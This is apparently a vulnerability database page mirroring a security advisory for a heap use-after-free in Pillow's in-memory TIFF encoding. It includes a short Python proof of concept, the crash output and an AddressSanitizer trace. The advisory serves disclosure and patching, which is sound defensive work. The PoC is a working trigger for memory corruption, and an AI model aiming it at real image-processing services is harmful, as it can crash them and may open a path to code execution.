Mittel

Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer

  • Veröffentlicht: 21.10.2026
  • Aktualisiert: 22.10.2026 18:07

Summary

Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When TIFFWriteScanline fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, TIFFClose flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.

Details

The failure path in ImagingLibTiffEncode frees clientstate->data for the in-memory case but does not close the TIFF or null clientstate->tiff (the file-descriptor branch just above it does set tiff = NULL):

  • src/libImaging/TiffDecode.c:1041-1046

Teardown then calls ImagingLibTiffEncodeCleanup, which runs TIFFClose(tiff) because tiff is still set:

  • src/encode.c:99-101
  • src/libImaging/TiffDecode.c:955

TIFFClose flushes through _tiffWriteProc, which reallocs and memcpys into the freed state->data:

  • src/libImaging/TiffDecode.c:103-115

The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.

PoC

python
import io
from PIL import Image

# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer
# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the
# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.
im = Image.new("L", (64, 64))
buf = io.BytesIO()
im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3})  # 317 = Predictor

Run it:

bash
$ python 01_poc.py
PredictorSetup: Floating point "Predictor" not supported with 1 data format.
OSError: encoder error -2 when writing image file
Segmentation fault (core dumped)

Observed on a source build of commit 3e2ab96 with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports corrupted double-linked list instead of a segfault; both are the same write into freed memory.

Under AddressSanitizer (build with -fsanitize=address), relevant frames:

==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804
WRITE of size 4 at 0x7ef737b48804 thread T0
    #1 _tiffWriteProc                 src/libImaging/TiffDecode.c:115
    #3 TIFFFlush                      libtiff.so.6
    #5 TIFFClose                      libtiff.so.6
    #6 ImagingLibTiffEncodeCleanup    src/libImaging/TiffDecode.c:955
    #7 _dealloc                       src/encode.c:100
freed by thread T0 here:
    #1 ImagingLibTiffEncode           src/libImaging/TiffDecode.c:1045
    #2 _encode                        src/encode.c:139
previously allocated by thread T0 here:
    #1 ImagingLibTiffEncodeInit       src/libImaging/TiffDecode.c:863
    #2 PyImaging_LibTiffEncoderNew    src/encode.c:757
SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc

The buffer allocated in ImagingLibTiffEncodeInit is freed in ImagingLibTiffEncode, then written by _tiffWriteProc during the TIFFClose flush that runs from the encoder's _dealloc.

Impact

Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a BytesIO or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) pillow >= 11.3.0, < 13.0.0 13.0.0

Verweise

CVSS-Wert 5.9/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-416
Plattform
Python (PyPI)
Paket
pillow
Veröffentlicht
21.10.2026
Aktualisiert
22.10.2026 18:07

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-4rr5-89j8-mwwm - CC BY 4.0

Schwachstellenhistorie: pillow

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (100) im Archiv
Einträge insgesamt
100
Erste → letzte
04.2014 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
1

Verteilung nach Schweregrad

  • Kritisch 13
  • Hoch 58
  • Mittel 27
  • Niedrig 1
  • Nicht bewertet 1

Veröffentlichungen pro Jahr

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 42

früher: 12

Schweregrad:
  1. Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer dieser Eintrag
    Mittel · 5.9 CVE-2026-112396 >= 11.3.0, < 13.0.0 13.0.0
  2. Hoch CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  3. Kritisch CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  4. Kritisch CVE-2026-112403 < 13.0.0 13.0.0
  5. Hoch · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  6. Hoch CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  7. Hoch · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  8. Hoch CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  9. Hoch · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  10. Hoch · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  11. Kritisch · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  12. Hoch · 8.8 In Angriffen ausgenutzt CVE-2023-4863 < 10.0.1 10.0.1
  13. Hoch · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  14. Hoch · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  15. Hoch · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  16. Kritisch · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  17. Hoch · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  18. Kritisch · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  19. Hoch · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  20. Hoch · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  21. Hoch · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  22. Hoch · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  23. Hoch · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
  24. Hoch · 7.5 CVE-2021-25293 >= 4.3.0, < 8.1.1 8.1.1
  25. Hoch · 7.5 CVE-2021-25291 < 8.2.0 8.2.0
  26. Hoch · 7.5 CVE-2021-25290 < 8.1.1 8.1.1
  27. Kritisch · 9.8 CVE-2021-25289 < 8.1.1 8.1.1
  28. Hoch · 7.5 CVE-2021-27923 < 8.1.2 8.1.2
  29. Hoch · 7.5 CVE-2021-27922 < 8.1.2 8.1.2
  30. Hoch · 7.5 CVE-2021-27921 < 8.1.2 8.1.2
  31. Hoch · 8.8 CVE-2020-35654 < 8.1.0 8.1.0
  32. Hoch · 7.1 CVE-2020-35653 < 8.1.0 8.1.0
  33. Kritisch · 8.1 CVE-2020-11538 < 7.1.0 7.1.0
  34. Hoch · 5.5 CVE-2020-10994 < 7.1.0 7.1.0
  35. Hoch · 5.5 CVE-2020-10177 < 7.1.0 7.1.0
  36. Hoch · 7.5 CVE-2019-19911 < 6.2.2 6.2.2
  37. Hoch · 7.1 CVE-2020-5313 < 6.2.2 6.2.2
  38. Kritisch · 9.8 CVE-2020-5312 < 6.2.2 6.2.2
  39. Kritisch · 9.8 CVE-2020-5311 < 6.2.2 6.2.2
Mehr anzeigen (12) 60 von 72 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.